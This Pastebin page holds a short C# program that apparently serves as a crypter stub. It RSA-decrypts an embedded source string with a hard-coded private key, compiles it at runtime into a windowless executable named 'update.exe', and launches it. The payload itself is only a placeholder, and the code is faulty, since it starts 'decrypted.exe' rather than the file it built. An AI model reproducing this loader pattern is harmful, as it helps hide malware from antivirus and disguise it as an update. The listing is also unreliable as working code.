Advertisement
Guest User

Untitled

a guest
Mar 20th, 2018
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.30 KB | None | 0 0
  1. using Microsoft.CSharp;
  2. using System;
  3. using System.CodeDom.Compiler;
  4. using System.Diagnostics;
  5. using System.Security.Cryptography;
  6. using System.Text;
  7.  
  8. namespace ConsoleApp4
  9. {
  10. class Program
  11. {
  12. static void Main(string[] args)
  13. {
  14.  
  15.  
  16. string decrypted = Decryption("ENCRYPTION");
  17. CSharpCodeProvider codeProvider = new CSharpCodeProvider();
  18. ICodeCompiler icc = codeProvider.CreateCompiler();
  19.  
  20.  
  21. System.CodeDom.Compiler.CompilerParameters parameters = new CompilerParameters();
  22.  
  23. string[] ReferenceThings = new string[]
  24. {
  25. "Microsoft.CSharp.dll",
  26. "Microsoft.VisualBasic.dll",
  27. "System.dll",
  28. "System.Core.dll",
  29. "System.Data.dll",
  30. "System.Data.DataSetExtensions.dll",
  31. "System.Deployment.dll",
  32. "System.Net.Http.dll",
  33. "System.Windows.Forms.dll",
  34. "System.Xml.dll",
  35. "System.Xml.Linq.dll"
  36.  
  37. };
  38.  
  39. parameters.ReferencedAssemblies.AddRange(ReferenceThings);
  40. parameters.GenerateExecutable = true;
  41. parameters.OutputAssembly = "update.exe";
  42. parameters.CompilerOptions = "/optimize+ /platform:x86 /target:winexe /unsafe";
  43. CompilerResults results = icc.CompileAssemblyFromSource(parameters, decrypted);
  44. Process.Start("decrypted.exe");
  45. }
  46.  
  47. public static string Decryption(string strText)
  48. {
  49. var privateKey = "<RSAKeyValue><Modulus>21wEnTU+mcD2w0Lfo1Gv4rtcSWsQJQTNa6gio05AOkV/Er9w3Y13Ddo5wGtjJ19402S71HUeN0vbKILLJdRSES5MHSdJPSVrOqdrll/vLXxDxWs/U0UT1c8u6k/Ogx9hTtZxYwoeYqdhDblof3E75d9n2F0Zvf6iTb4cI7j6fMs=</Modulus><Exponent>AQAB</Exponent><P>/aULPE6jd5IkwtWXmReyMUhmI/nfwfkQSyl7tsg2PKdpcxk4mpPZUdEQhHQLvE84w2DhTyYkPHCtq/mMKE3MHw==</P><Q>3WV46X9Arg2l9cxb67KVlNVXyCqc/w+LWt/tbhLJvV2xCF/0rWKPsBJ9MC6cquaqNPxWWEav8RAVbmmGrJt51Q==</Q><DP>8TuZFgBMpBoQcGUoS2goB4st6aVq1FcG0hVgHhUI0GMAfYFNPmbDV3cY2IBt8Oj/uYJYhyhlaj5YTqmGTYbATQ==</DP><DQ>FIoVbZQgrAUYIHWVEYi/187zFd7eMct/Yi7kGBImJStMATrluDAspGkStCWe4zwDDmdam1XzfKnBUzz3AYxrAQ==</DQ><InverseQ>QPU3Tmt8nznSgYZ+5jUo9E0SfjiTu435ihANiHqqjasaUNvOHKumqzuBZ8NRtkUhS6dsOEb8A2ODvy7KswUxyA==</InverseQ><D>cgoRoAUpSVfHMdYXW9nA3dfX75dIamZnwPtFHq80ttagbIe4ToYYCcyUz5NElhiNQSESgS5uCgNWqWXt5PnPu4XmCXx6utco1UVH8HGLahzbAnSy6Cj3iUIQ7Gj+9gQ7PkC434HTtHazmxVgIR5l56ZjoQ8yGNCPZnsdYEmhJWk=</D></RSAKeyValue>";
  50.  
  51. var testData = Encoding.UTF8.GetBytes(strText);
  52.  
  53. using (var rsa = new RSACryptoServiceProvider(1024))
  54. {
  55. try
  56. {
  57. var base64Encrypted = strText;
  58.  
  59. // server decrypting data with private key
  60. rsa.FromXmlString(privateKey);
  61.  
  62. var resultBytes = Convert.FromBase64String(base64Encrypted);
  63. var decryptedBytes = rsa.Decrypt(resultBytes, true);
  64. var decryptedData = Encoding.UTF8.GetString(decryptedBytes);
  65. return decryptedData.ToString();
  66. }
  67. finally
  68. {
  69. rsa.PersistKeyInCsp = false;
  70. }
  71. }
  72. }
  73.  
  74. }
  75.  
  76. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement